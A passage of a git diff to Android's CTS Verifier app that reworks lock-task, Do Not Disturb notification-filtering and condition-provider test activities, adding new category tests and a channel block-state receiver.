+ if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_LOCKED) {
+ return;
+ }
+
+ mLockTaskStartedLatch = new CountDownLatch(1);
+ try {
+ mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {TEST_PACKAGE_NAME});
+ mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+ startLockTask();
+
+ new CheckLockTaskStateTask() {
+ @Override
+ protected void onPostExecute(Boolean success) {
+ if (success) {
+ issueTestNotification();
+ } else {
+ notifyFailure(getTestId(), "Failed to start LockTask mode");
+ }
+ }
+ }.execute(mLockTaskStartedLatch);
+ } catch (SecurityException e) {
+ Log.e(TAG, e.getMessage(), e);
+ Toast.makeText(this, "Failed to run test. Did you set up device owner correctly?",
+ Toast.LENGTH_SHORT).show();
+ }
+ }
+
+ /**
+ * Stops LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+ * LockTask has stopped successfully. If the callback isn't received, the "Stop LockTask mode"
+ * test case will be marked as failed.
+ *
+ * Note that we {@link #finish()} this activity here, since it's started by the "Stop LockTask
+ * mode" test activity, and shouldn't be exposed to the tester once its job is done.
+ *
+ * @see LockTaskStateChangedReceiver
+ */
+ private void stopLockTaskMode() {
+ if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+ finish();
+ return;
+ }
+
+ mLockTaskStoppedLatch = new CountDownLatch(1);
+ try {
+ stopLockTask();
+
+ new CheckLockTaskStateTask() {
+ @Override
+ protected void onPostExecute(Boolean success) {
+ if (!success) {
+ notifyFailure(TEST_ID_STOP_LOCK_TASK, "Failed to stop LockTask mode");
+ }
+ cancelTestNotification();
+ mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+ mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {});
+ LockTaskUiTestActivity.this.finish();
+ }
+ }.execute(mLockTaskStoppedLatch);
+ } catch (SecurityException e) {
+ Log.e(TAG, e.getMessage(), e);
+ Toast.makeText(this, "Failed to finish test. Did you set up device owner correctly?",
+ Toast.LENGTH_SHORT).show();
+ }
+ }
+
+ private abstract class CheckLockTaskStateTask extends AsyncTask<CountDownLatch, Void, Boolean> {
+ @Override
+ protected Boolean doInBackground(CountDownLatch... latches) {
+ if (latches.length > 0 && latches[0] != null) {
+ try {
+ return latches[0].await(1, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ // Fall through
+ }
+ }
+ return false;
+ }
+
+ @Override
+ protected abstract void onPostExecute(Boolean success);
+ }
+
+ private void notifyFailure(String testId, String message) {
+ Log.e(TAG, message);
+ Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+ TestResult.setFailedResult(this, testId, message);
+ }
+
+ private void issueTestNotification() {
+ String channelId = getTestId();
+ if (mNotifyMgr.getNotificationChannel(channelId) == null) {
+ NotificationChannel channel = new NotificationChannel(
+ channelId, getTestId(), NotificationManager.IMPORTANCE_HIGH);
+ mNotifyMgr.createNotificationChannel(channel);
+ }
+
+ Notification note = new Notification.Builder(this, channelId)
+ .setContentTitle(getString(R.string.device_owner_lock_task_ui_test))
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .setOngoing(true)
+ .build();
+
+ mNotifyMgr.notify(0, note);
+ }
+
+ private void cancelTestNotification() {
+ mNotifyMgr.cancelAll();
+ }
+
+ private TestListItem createSetLockTaskFeaturesTest(String testId, int featureFlags,
+ int titleResId, int detailResId) {
+ final Intent commandIntent = new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
+ commandIntent.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+ CommandReceiverActivity.COMMAND_SET_LOCK_TASK_FEATURES);
+ commandIntent.putExtra(CommandReceiverActivity.EXTRA_VALUE, featureFlags);
+
+ return createInteractiveTestItem(this, testId, titleResId, detailResId,
+ new ButtonInfo(titleResId, commandIntent));
+ }
+
+ @Override
+ public String getTestId() {
+ return getIntent().getStringExtra(EXTRA_TEST_ID);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 6a1ce2c..29c8708 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -26,6 +26,7 @@
import android.content.ContentProviderOperation;
import android.content.OperationApplicationException;
import android.database.Cursor;
+import android.media.AudioAttributes;
import android.net.Uri;
import android.os.RemoteException;
import android.provider.ContactsContract;
@@ -35,7 +36,9 @@
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
+
import com.android.cts.verifier.R;
+
import org.json.JSONException;
import org.json.JSONObject;
@@ -50,6 +53,8 @@
private static final String NOTIFICATION_CHANNEL_ID = TAG;
private static final String NOTIFICATION_CHANNEL_ID_NOISY = TAG + "/noisy";
+ private static final String NOTIFICATION_CHANNEL_ID_MEDIA = TAG + "/media";
+ private static final String NOTIFICATION_CHANNEL_ID_GAME = TAG + "/game";
private static final String ALICE = "Alice";
private static final String ALICE_PHONE = "+16175551212";
private static final String ALICE_EMAIL = "alice@_foo._bar";
@@ -91,9 +96,13 @@
tests.add(new IsEnabledTest());
tests.add(new ServiceStartedTest());
tests.add(new InsertContactsTest());
- tests.add(new NoneInterceptsAllTest());
- tests.add(new PriorityInterceptsSomeTest());
- tests.add(new AllInterceptsNothingTest());
+ tests.add(new NoneInterceptsAllMessagesTest());
+ tests.add(new NoneInterceptsAlarmEventReminderCategoriesTest());
+ tests.add(new PriorityInterceptsSomeMessagesTest());
+ tests.add(new PriorityInterceptsAlarmsTest());
+ tests.add(new PriorityInterceptsMediaSystemOtherTest());
+ tests.add(new AllInterceptsNothingMessagesTest());
+ tests.add(new AllInterceptsNothingDiffCategoriesTest());
tests.add(new DefaultOrderTest());
tests.add(new PriorityOrderTest());
tests.add(new InterruptionOrderTest());
@@ -113,11 +122,25 @@
NOTIFICATION_CHANNEL_ID_NOISY, NotificationManager.IMPORTANCE_HIGH);
noisyChannel.enableVibration(true);
mNm.createNotificationChannel(noisyChannel);
+ NotificationChannel mediaChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA,
+ NOTIFICATION_CHANNEL_ID_MEDIA, NotificationManager.IMPORTANCE_HIGH);
+ AudioAttributes.Builder aa = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_MEDIA);
+ mediaChannel.setSound(null, aa.build());
+ mNm.createNotificationChannel(mediaChannel);
+ NotificationChannel gameChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_GAME,
+ NOTIFICATION_CHANNEL_ID_GAME, NotificationManager.IMPORTANCE_HIGH);
+ AudioAttributes.Builder aa2 = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_GAME);
+ gameChannel.setSound(null, aa2.build());
+ mNm.createNotificationChannel(gameChannel);
}
private void deleteChannels() {
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_NOISY);
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA);
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_GAME);
}
// Tests
@@ -185,7 +208,7 @@
}
}
- protected class NoneInterceptsAllTest extends InteractiveTestCase {
+ protected class NoneInterceptsAllMessagesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_all_are_filtered);
@@ -213,7 +236,7 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -238,24 +261,23 @@
@Override
void tearDown() {
- mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
}
-
}
- protected class AllInterceptsNothingTest extends InteractiveTestCase {
+ protected class NoneInterceptsAlarmEventReminderCategoriesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
- return createAutoItem(parent, R.string.attention_none_are_filtered);
+ return createAutoItem(parent, R.string.attention_all_are_filtered);
}
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
createChannels();
- sendNotifications(MODE_URI, false, false);
+ sendEventAlarmReminderNotifications(SEND_ALL);
status = READY;
}
@@ -273,7 +295,66 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= !zen;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zen;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= !zen;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() == 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class AllInterceptsNothingMessagesTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_none_are_filtered_messages);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ createChannels();
+ sendNotifications(MODE_URI, false, false); // different messages
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -304,18 +385,77 @@
}
}
- protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
+ protected class AllInterceptsNothingDiffCategoriesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
- return createAutoItem(parent, R.string.attention_some_are_filtered);
+ return createAutoItem(parent, R.string.attention_none_are_filtered_diff_categories);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ createChannels();
+ sendEventAlarmReminderNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zen;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= zen;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= zen;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() == 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsSomeMessagesTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_messages);
}
@Override
void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
NotificationManager.Policy policy = mNm.getNotificationPolicy();
- policy = new NotificationManager.Policy(policy.priorityCategories
- | NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
policy.priorityCallSenders,
NotificationManager.Policy.PRIORITY_SENDERS_STARRED);
mNm.setNotificationPolicy(policy);
@@ -338,7 +478,7 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -357,13 +497,144 @@
Log.e(TAG, "failed to unpack data from mocklistener", e);
}
}
- pass &= found.size() == 3;
+ pass &= found.size() >= 3;
status = pass ? PASS : FAIL;
}
@Override
void tearDown() {
- mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsAlarmsTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_alarms);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ NotificationManager.Policy policy = mNm.getNotificationPolicy();
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS,
+ policy.priorityCallSenders,
+ policy.priorityMessageSenders);
+ mNm.setNotificationPolicy(policy);
+ createChannels();
+ // Event to Alice, Alarm to Bob, Reminder to Charlie:
+ sendEventAlarmReminderNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zenIntercepted; // Alice's event notif should be intercepted
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zenIntercepted; // Bob's alarm notif should not be intercepted
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= zenIntercepted; // Charlie's reminder notif should be intercepted
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() >= 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsMediaSystemOtherTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_media_system_other);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ NotificationManager.Policy policy = mNm.getNotificationPolicy();
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA_SYSTEM_OTHER,
+ policy.priorityCallSenders,
+ policy.priorityMessageSenders);
+ mNm.setNotificationPolicy(policy);
+ createChannels();
+ // Alarm to Alice, Other (Game) to Bob, Media to Charlie:
+ sendAlarmOtherMediaNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zenIntercepted;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zenIntercepted;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= !zenIntercepted;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() >= 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -379,6 +650,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
createChannels();
sendNotifications(MODE_NONE, false, false);
status = READY;
@@ -415,6 +687,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
createChannels();
sendNotifications(MODE_NONE, true, false);
status = READY;
@@ -453,6 +726,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
delayTime = 15000;
createChannels();
// send B & C noisy with contact affinity
@@ -727,6 +1001,83 @@
}
}
+ private void sendEventAlarmReminderNotifications(int which) {
+ long when = System.currentTimeMillis() - 4000000L;
+ final String channelId = NOTIFICATION_CHANNEL_ID;
+
+ // Event notification to Alice
+ if ((which & SEND_A) != 0) {
+ Notification.Builder alice = new Notification.Builder(mContext, channelId)
+ .setContentTitle(ALICE)
+ .setContentText(ALICE)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setCategory(Notification.CATEGORY_EVENT)
+ .setWhen(when);
+ mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+ }
+
+ // Alarm notification to Bob
+ if ((which & SEND_B) != 0) {
+ Notification.Builder bob = new Notification.Builder(mContext, channelId)
+ .setContentTitle(BOB)
+ .setContentText(BOB)
+ .setSmallIcon(R.drawable.ic_stat_bob)
+ .setCategory(Notification.CATEGORY_ALARM)
+ .setWhen(when);
+ mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+ }
+
+ // Reminder notification to Charlie
+ if ((which & SEND_C) != 0) {
+ Notification.Builder charlie =
+ new Notification.Builder(mContext, channelId)
+ .setContentTitle(CHARLIE)
+ .setContentText(CHARLIE)
+ .setSmallIcon(R.drawable.ic_stat_charlie)
+ .setCategory(Notification.CATEGORY_REMINDER)
+ .setWhen(when);
+ mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+ }
+ }
+
+ private void sendAlarmOtherMediaNotifications(int which) {
+ long when = System.currentTimeMillis() - 4000000L;
+ final String channelId = NOTIFICATION_CHANNEL_ID;
+
+ // Alarm notification to Alice
+ if ((which & SEND_A) != 0) {
+ Notification.Builder alice = new Notification.Builder(mContext, channelId)
+ .setContentTitle(ALICE)
+ .setContentText(ALICE)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setCategory(Notification.CATEGORY_ALARM)
+ .setWhen(when);
+ mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+ }
+
+ // "Other" notification to Bob
+ if ((which & SEND_B) != 0) {
+ Notification.Builder bob = new Notification.Builder(mContext,
+ NOTIFICATION_CHANNEL_ID_GAME)
+ .setContentTitle(BOB)
+ .setContentText(BOB)
+ .setSmallIcon(R.drawable.ic_stat_bob)
+ .setWhen(when);
+ mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+ }
+
+ // Media notification to Charlie
+ if ((which & SEND_C) != 0) {
+ Notification.Builder charlie =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID_MEDIA)
+ .setContentTitle(CHARLIE)
+ .setContentText(CHARLIE)
+ .setSmallIcon(R.drawable.ic_stat_charlie)
+ .setWhen(when);
+ mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+ }
+ }
+
private void addPerson(int mode, Notification.Builder note,
Uri uri, String phone, String email) {
if (mode == MODE_URI && uri != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
new file mode 100644
index 0000000..f432ddb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
@@ -0,0 +1,27 @@
+package com.android.cts.verifier.notifications;
+
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED;
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED;
+
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+
+public class BlockChangeReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ SharedPreferences prefs = context.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ if (ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED.equals(intent.getAction())
+ || ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED.equals(intent.getAction())) {
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putBoolean(
+ intent.getStringExtra(NotificationManager.EXTRA_BLOCK_STATE_CHANGED_ID),
+ intent.getBooleanExtra(NotificationManager.EXTRA_BLOCKED_STATE, false));
+ editor.commit();
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index f3bf7e5..285855f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,15 +18,18 @@
import com.android.cts.verifier.R;
+import android.app.ActivityManager;
import android.app.AutomaticZenRule;
import android.app.NotificationManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Parcelable;
import android.provider.Settings;
import android.provider.Settings.Secure;
import android.text.TextUtils;
+import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
@@ -56,17 +59,25 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(9);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new CreateAutomaticZenRuleTest());
- tests.add(new UpdateAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRulesTest());
- tests.add(new SubscribeAutomaticZenRuleTest());
- tests.add(new DeleteAutomaticZenRuleTest());
- tests.add(new UnsubscribeAutomaticZenRuleTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new CreateAutomaticZenRuleTest());
+ tests.add(new UpdateAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRulesTest());
+ tests.add(new SubscribeAutomaticZenRuleTest());
+ tests.add(new DeleteAutomaticZenRuleTest());
+ tests.add(new UnsubscribeAutomaticZenRuleTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ }
return tests;
}
@@ -101,6 +112,50 @@
// wait for the service to start
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ if (mNm.isNotificationPolicyAccessGranted()) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
}
protected class ServiceStartedTest extends InteractiveTestCase {
@@ -135,6 +190,75 @@
}
}
+ private class RequestUnbindTest extends InteractiveTestCase {
+ int mRetries = 5;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_snooze);
+
+ }
+
+ @Override
+ void setUp() {
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockConditionProvider.getInstance().requestUnbind();
+ status = RETEST;
+ } else {
+ if (MockConditionProvider.getInstance() == null ||
+ !MockConditionProvider.getInstance().isConnected()) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ status = RETEST;
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ next();
+ }
+ }
+ }
+
+ private class RequestBindTest extends InteractiveTestCase {
+ int mRetries = 5;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_unsnooze);
+
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockConditionProvider.requestRebind(MockConditionProvider.COMPONENT_NAME);
+ status = RETEST;
+ } else {
+ if (MockConditionProvider.getInstance().isConnected()
+ && MockConditionProvider.getInstance().isBound()) {
+ status = PASS;
+ next();
+ } else {
+ if (--mRetries > 0) {
+ status = RETEST;
+ next();
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ }
+ }
+ }
+
+
private class CreateAutomaticZenRuleTest extends InteractiveTestCase {
private String id = null;
@@ -516,6 +640,11 @@
MockConditionProvider.resetData(mContext);
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
}
private class ServiceStoppedTest extends InteractiveTestCase {
@@ -570,21 +699,4 @@
protected View createSettingsItem(ViewGroup parent, int messageId) {
return createUserItem(parent, R.string.cp_start_settings, messageId);
}
-
- public void launchSettings() {
- startActivity(new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS));
- }
-
- public void actionPressed(View v) {
- Object tag = v.getTag();
- if (tag instanceof Integer) {
- int id = ((Integer) tag).intValue();
- if (id == R.string.cp_start_settings) {
- launchSettings();
- } else if (id == R.string.attention_ready) {
- mCurrentTest.status = READY;
- next();
- }
- }
- }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 7d5de8c..0ffd77d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.notifications;
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
@@ -65,8 +67,6 @@
// TODO remove these once b/10023397 is fixed
public static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
- public static final String NOTIFICATION_LISTENER_SETTINGS =
- "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
protected InteractiveTestCase mCurrentTest;
protected PackageManager mPackageManager;
@@ -133,6 +133,12 @@
Log.e(TAG, "failed " + this.getClass().getSimpleName() +
((message == null) ? "" : ": " + message), e);
}
+
+ // If this test contains a button that launches another activity, override this
+ // method to provide the intent to launch.
+ protected Intent getIntent() {
+ return null;
+ }
}
abstract int getTitleResource();
@@ -345,16 +351,12 @@
// UI callbacks
- public void launchSettings() {
- startActivity(new Intent(NOTIFICATION_LISTENER_SETTINGS));
- }
-
public void actionPressed(View v) {
Object tag = v.getTag();
if (tag instanceof Integer) {
int id = ((Integer) tag).intValue();
- if (id == R.string.nls_start_settings) {
- launchSettings();
